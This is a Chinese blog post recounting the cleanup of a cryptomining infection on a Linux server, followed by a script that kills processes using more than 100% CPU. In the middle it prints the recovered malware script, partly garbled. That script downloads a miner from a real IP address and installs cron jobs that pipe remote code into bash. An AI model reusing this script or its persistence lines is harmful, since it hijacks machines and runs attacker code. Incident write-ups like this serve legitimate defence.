Linux下CPU1000%记一次挖矿病毒清理流程

今天top后发现一个进程CPU高1795%,判断是病毒

查找进程ps -elf|grep 进程idpid和ppid查找到sleep进程

ps -ef|grep 4277

查看具体进程内容,ll /proc/进程idpid

ll /proc/4277

ls -l /proc/{pid号}
ls -l /proc/{pid号}/exe

 kill掉病毒进程

 排查病毒代码位置

排查 www用户执行所有进程

ps -ef|grep www 发现

36239 www       20   0   76272   4976    452 S   0.3  0.0 174:24.97 .image.jpg
/tmp/.image.jpg (deleted)
www      202401  0.0  0.0 113292  1516 ?        S    07:01   0:00 /var/tmp/.x/secure -c
www      248458      1  0 08:01 ?        00:00:00 /var/tmp/.x/secure -c
www       3241  0.1  0.0 113724  1836 ?        S    4月01 151:10 /bin/sh ./php
www       3243  0.1  0.0 113724  1844 ?        S    4月01 151:49 /bin/sh ./php
/proc/3243/exe -> /usr/bin/bash/tmp/.XIM-unix/admin/.sftp (deleted)
/tmp/.XIM-unix/admin/.sftp (deleted)
exe -> /usr/bin/bash#!/bin/bash ifrunning=$(pgrep xrx) ######################## ######################## downloadminer(){ ?link1="http://95.214.24.102:6972/xrx/xrx" ?link2="http://95.214.24.102:6972/configs/config-xrx.json" ?mkdir /var/tmp/.xrx ?cd /var/tmp/.xrx/ ?chattr -ia /var/tmp/.xrx/xrx ?chattr -ia /var/tmp/.xrx/config.json ?rm -rf /var/tmp/.xrx/xrx ?rm -rf /var/tmp/.xrx/config.json ?curl  -L -O $link1 || cd1  -L -O $link1 || wget $link1 --no-check-certificate ?curl  -L -O $link2 || cd1  -L -O $link2 || wget $link2 --no-check-certificate ?mv config-xrx.json config.json ?chmod +x /var/tmp/.xrx/xrx } ######################## ######################## crontablegend(){ if (( $EUID != 0 )); then ?if ! crontab -l | grep -q 'secure'; then ?cd /dev/shm ?rm -rf /dev/shm/.spark ?echo "@daily /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?sleep 1 ?echo "@reboot /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?sleep 1 ?echo "1 * * * * /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?sleep 1 ?echo "*/30 * * * * curl 95.214.24.102:1011/next | bash " >> .spark ?crontab .spark ?sleep 2 ?rm -rf /dev/shm/.spark ?fi fi if (( $EUID == 0 )); then ?if ! cat /etc/crontab | grep -q 'secure'; then ?echo "@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> /etc/crontab ?echo "@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown $* " >> /etc/crontab ?echo "1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> /etc/crontab ?echo "*/30 * * * * root curl 95.214.24.102:1011/next | bash " >> /etc/crontab ?fi fi } ######################## ######################## gettingmineru(){ fsiz=`ls -l /var/tmp/.xrx/xrx | awk '{print $5}'` if [ -f /var/tmp/.xrx/xrx ]; then ?echo "miner intact" ?else ?echo "miner not found,downloading..." ?downloadminer fi if [[ "$fsiz" -gt 0 ]]; then ?echo "miner size intact" ?else ?echo "filesize 0,downloading..." ?downloadminer fi } ######################## ######################## gettingmineru crontablegend  if test -z "$ifrunning" ; then ?echo "xrx not running,starting..." ?/var/tmp/.xrx/xrx </dev/null &>/dev/null & disown  -h  %1 ?sleep 1 ?echo -e "pid:" ?pgrep xrx fi  /var/tmp/.x/secure

 发现病毒文件

www      248458      1  0 08:01 ?        00:00:00 /var/tmp/.x/secure -c

16393 www       20   0  107740  73912      4 S   0.3  0.0   0:03.88 sh
/tmp/.XIM-unix/admin/sh (deleted)

#!/bin/bash ifrunning=$(pgrep xrx) ######################## ######################## downloadminer(){ ?
link1="http://95.214.24.102:6972/xrx/xrx" ?
link2="http://95.214.24.102:6972/configs/config-xrx.json" ?mkdir /var/tmp/.xrx ?
cd /var/tmp/.xrx/ ?
chattr -ia /var/tmp/.xrx/xrx ?
chattr -ia /var/tmp/.xrx/config.json ?
rm -rf /var/tmp/.xrx/xrx ?
rm -rf /var/tmp/.xrx/config.json ?
curl  -L -O $link1 || cd1  -L -O $link1 || wget $link1 --no-check-certificate ?
curl  -L -O $link2 || cd1  -L -O $link2 || wget $link2 --no-check-certificate ?
mv config-xrx.json config.json ?chmod +x /var/tmp/.xrx/xrx }######################## ######################## 
crontablegend(){ if (( $EUID != 0 )); then ?
if ! crontab -l | grep -q 'secure'; then ?
cd /dev/shm ?
rm -rf /dev/shm/.spark ?
echo "@daily /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?
sleep 1 ?
echo "@reboot /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?sleep 1 ?
echo "1 * * * * /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> .spark ?sleep 1 ?
echo "*/30 * * * * curl 95.214.24.102:1011/next | bash " >> .spark ?crontab .spark ?
sleep 2 ?rm -rf /dev/shm/.spark ?fi fi if (( $EUID == 0 )); then ?
if ! cat /etc/crontab | grep -q 'secure'; then ?
echo "@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> /etc/crontab ?
echo "@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown $* " >> /etc/crontab ?
echo "1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown $* " >> /etc/crontab ?
echo "*/30 * * * * root curl 95.214.24.102:1011/next | bash " >> /etc/crontab ?fi fi }######################## ######################## 
gettingmineru(){ fsiz=`ls -l /var/tmp/.xrx/xrx | awk '{print $5}'` if [ -f /var/tmp/.xrx/xrx ]; then ?
echo "miner intact" ?else ?echo "miner not found,downloading..." ?
downloadminer fi if [[ "$fsiz" -gt 0 ]]; then ?echo "miner size intact" ?else ?
echo "filesize 0,downloading..." ?downloadminer fi } 
######################## ######################## 
gettingmineru crontablegend  if test -z "$ifrunning" ; then ?echo "xrx not running,starting..." ?
/var/tmp/.xrx/xrx </dev/null &>/dev/null & disown  -h  %1 ?sleep 1 ?echo -e "pid:" ?pgrep xrx fi  /var/tmp/.x/secure

查找进程ps -elf|grep 进程idpid和ppid查找到sleep进程 

 

 病毒执行代码

#!/bin/bash
cd -- /tmp/.XIM-unix/admin
cp -f -- .sh sh
./sh -c >/dev/null 2>&1
./.php -c >/dev/null 2>&1
rm -rf sh

 删除病毒代码

rm -rf admin

----------------------------------------------------------------------------------------

解决 linux top cpu超100 kill 脚本

在Linux系统中,top命令是一个常用的性能分析工具,它可以实时显示系统的进程信息。如果您希望监控CPU使用率超过100%的进程,并在发现时杀死这些进程,可以编写一个简单的脚本来实现这个功能。

以下是一个简单的Bash脚本示例,它会定期运行top命令,并在发现CPU使用率超过100%的情况下杀死相应的进程:

#!/bin/bash# 定义一个函数来检查CPU使用率并杀死进程
check_kill_process() {top_output=$(top -b -n 1 | grep "R" | awk '{if($9 > 100.0) print $1}')for pid in $top_output; dokill -9 $pid 2>/dev/nullecho "Killed PID $pid because its CPU usage is greater than 100%"done
}# 主循环,每隔一定时间运行检查函数
while true; docheck_kill_processsleep 5  # 每隔5秒检查一次
done

请注意,该脚本使用了top命令的-b(批处理模式)和-n(指定循环次数)选项,以及管道(|)和grepawk等命令来分析和处理输出。脚本会无限循环地运行,每5秒检查一次系统进程的CPU使用情况,并在发现CPU使用率超过100%时杀死相应的进程。

在运行这个脚本之前,请确保您对其中使用的命令和行为有足够的了解,并且已经考虑到了可能对系统稳定性造成的影响。此外,这个脚本应该在有足够权限的用户下运行,通常是root用户。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/19786.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

leetcode 72. 编辑距离

. - 力扣&#xff08;LeetCode&#xff09; 给你两个单词 word1 和 word2&#xff0c; 请返回将 word1 转换成 word2 所使用的最少操作数 。 你可以对一个单词进行如下三种操作&#xff1a; 插入一个字符删除一个字符替换一个字符 示例 1&#xff1a; 输入&#xff1a;word…

springboot+vue 社区养老服务系统

Springbootvue社区居家养老服务系统&#xff0c;数据库mysql&#xff0c;mybatis框架&#xff0c;有可视化页面。 功能&#xff1a; 用户管理 养老服务管理 护理人员管理 服务类型管理 健康状况管理 社区管理 服务区管理 娱乐资讯管理 咨询分类管理 反馈建议 系统简历管理 轮播…

opencv-python(一)

1. 图片加载与显示 import cv2 import numpy as npif __name__"__main__":rose cv2.imread(./rose.jpeg)print(rose.shape)print(type(rose))cv2.imshow(rose,rose) # 弹出窗口cv2.waitKey() # 等待键盘输入&#xff0c;任意输入&#xff0c;触发这行代码&#xff…

开源硬件初识——Orange Pi AIpro(8T)

开源硬件初识——Orange Pi AIpro&#xff08;8T&#xff09; 大抵是因为缘&#xff0c;妙不可言地就有了这么一块儿新一代AI开发板&#xff0c;乐于接触新鲜玩意儿的小火苗噌一下就燃了起来。 还没等拿到硬件&#xff0c;就已经开始在Orange Pi AIpro 官网上查阅起资料&…

【简单介绍下Milvus,什么是Milvus?】

&#x1f308;个人主页: 程序员不想敲代码啊 &#x1f3c6;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f44d;点赞⭐评论⭐收藏 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共…

ROS无人机追踪小车项目开发实战 | 第四届中国智能汽车创新大会圆满结束

2024年5月26日&#xff0c;阿木实验室在深圳第四届中国智能汽车创新大会上&#xff0c;开展的《Prometheus开源平台-ROS无人机追踪小车项目开发实战课》圆满结束。 该实战课从初学者的角度出发&#xff0c;通过实践性讲解和开发&#xff0c;使开发者们系统地学习了硬件系统架构…

基于Whisper+SparkAI+Pyttsx3实现全流程免费的语音交互

实现前后端语音交互的Demo 在现代Web应用中,语音交互越来越受到关注。它不仅能提升用户体验,还能为特定人群提供更多便利。本文将介绍如何实现一个前后端语音交互的Demo,涵盖音频录制、语音识别、语言模型生成回复和语音合成等步骤。 文章目录 实现前后端语音交互的Demo一.…

【html】用html模拟微信布局

您做的这个模拟微信布局的作品很不错,使用了Flexbox布局来实现元素的灵活排列。以下是关于您代码的一些分析和建议: 效果图: 代码分析: 全局样式重置: 您使用了* { margin: 0; padding: 0; }来重置所有元素的边距。这是一个常见的做法,可以避免不同浏览器默认样式的差…

特征融合篇 | YOLOv8 引入动态上采样模块 | 超过了其他上采样器

1. 介绍 本篇介绍了一种将动态上采样模块引入 YOLOv8 目标检测算法的新方法&#xff0c;该方法在 COCO 数据集上获得了 55.7% 的 mAP&#xff0c;超越了其他上采样器。该方法将动态上采样模块引入到 YOLOv8 的特征融合阶段&#xff0c;能够根据输入图像的特征分辨率动态调整上…

js四舍五入和计算精度问题处理

js四舍五入和计算精度问题处理 目录 js四舍五入和计算精度问题处理错误计算方法示例代码 js中加减乘除&#xff0c;部分数据会存在计算不准确。 错误计算 我使用的是big.js&#xff0c;基于big.js库封装了下工具方法&#xff0c;当然也可以用其他库&#xff0c;如mathjs/bignu…

找回xmind文件办法:一切意外均可找回(误删/重启关机等)

我周三编辑完&#xff0c;周四下午评审完用例忘记保存 结果到了快乐星期五&#xff0c;由于是周五我太开心了...早上到公司后觉得电脑卡&#xff0c;直接点了重启啥都没保存啊啊啊啊啊 准备上传测试用例时才想起来我的用例找不见了&#xff01;&#xff01;&#xff01;&…

oracle sys无法远程访问问题解决

/myweb/app/oracle/product/11.2.0/dbhome_1/network/admin/listener.ora sys的默认密码是manager&#xff0c;system的默认密码是change_on_install&#xff0c;为什么使用默认密码都无法正常登录呢&#xff1f;这就很奇怪了 解决&#xff1a; Winr——->Cmd——->输…

Go微服务: 封装nacos-sdk-go的v2版本与应用

概述 基于前文&#xff1a;https://active.blog.csdn.net/article/details/139213323我们基于此SDK提供的API封装一个公共方法来用于生产环境 封装 nacos-sdk-go 我们封装一个 nacos.go 文件, 这个是通用的工具库 package commonimport ("fmt""github.com/nac…

使用LeanCloud平台的即时通讯

LeanCloud 是领先的 Serverless 云服务&#xff0c;为产品开发提供强有力的后端支持&#xff0c;旨在帮助开发者降低研发、运营维护等阶段投入的精力和成本。 LeanCloud 整合了各项服务&#xff0c;让开发者能够聚焦在核心业务上&#xff0c;为客户创造更多价值。 *即时通讯 …

基于安卓的虫害识别软件设计--(1)模型训练与可视化

引言 简介&#xff1a;使用pytorch框架&#xff0c;从模型训练、模型部署完整地实现了一个基础的图像识别项目计算资源&#xff1a;使用的是Kaggle&#xff08;每周免费30h的GPU&#xff09; 1.创建名为“utils_1”的模块 模块中包含&#xff1a;训练和验证的加载器函数、训练…

【Python爬虫--scrapy+selenium框架】超详细的Python爬虫scrapy+selenium框架学习笔记(保姆级别的,非常详细)

六&#xff0c;selenium 想要下载PDF或者md格式的笔记请点击以下链接获取 python爬虫学习笔记点击我获取 Scrapyselenium详细学习笔记点我获取 Python超详细的学习笔记共21万字点我获取 1&#xff0c;下载配置 ## 安装&#xff1a; pip install selenium## 它与其他库不同…

【C++】C++11新特性:列表初始化、声明、新容器、右值引用、万能引用和完美转发

目录 一、列表初始化 1.1 { } 初始化 1.2 std::initializer_list 二、声明 2.1 auto 2.2 decltype 2.3 nullptr 三、新容器 四、右值引用和移动语义 4.1 左值和左值引用 4.2 右值和右值引用 4.3 左值引用与右值引用比较 4.4 右值引用使用场景和意义&#xff1a;移…

「前端+鸿蒙」核心技术HTML5+CSS3(二)

1、开发者文档 开发者文档通常由浏览器厂商或技术社区提供,包含有关Web技术(如HTML、CSS、JavaScript)的详细信息,API文档,以及最佳实践。例如,MDN Web Docs是一个广泛认可的开发者资源。 2、块级元素与行列元素 块级元素:在页面上占据整行的元素,如<div>、<…

万字长文深度解析Agent反思工作流框架Reflexion下篇:ReflectionAgent workflow

在前文[LLM-Agents]万字长文深度解析Agent反思工作流框架Reflexion中篇&#xff1a;React中&#xff0c;我们详细解析了ReactAgent的工作流程&#xff0c;而本文则将在此基础上探讨反思技巧的应用。之前的文章中[LLM-Agents]反思Reflection 工作流我们已经对反思技巧进行了探讨…

多维数组操作,不要再用遍历循环foreach了!来试试数组展平的小妙招!array.flat()用法与array.flatMap() 用法及二者差异详解

目录 一、array.flat&#xff08;&#xff09;方法 1.1、array.flat&#xff08;&#xff09;的语法及使用 ①语法 ②返回值 ③用途 二、array.flatMap() 方法 2.1、array.flatMap()的语法及作用 ①语法 ②返回值 ③用途 三、array.flat&#xff08;&#xff09;与a…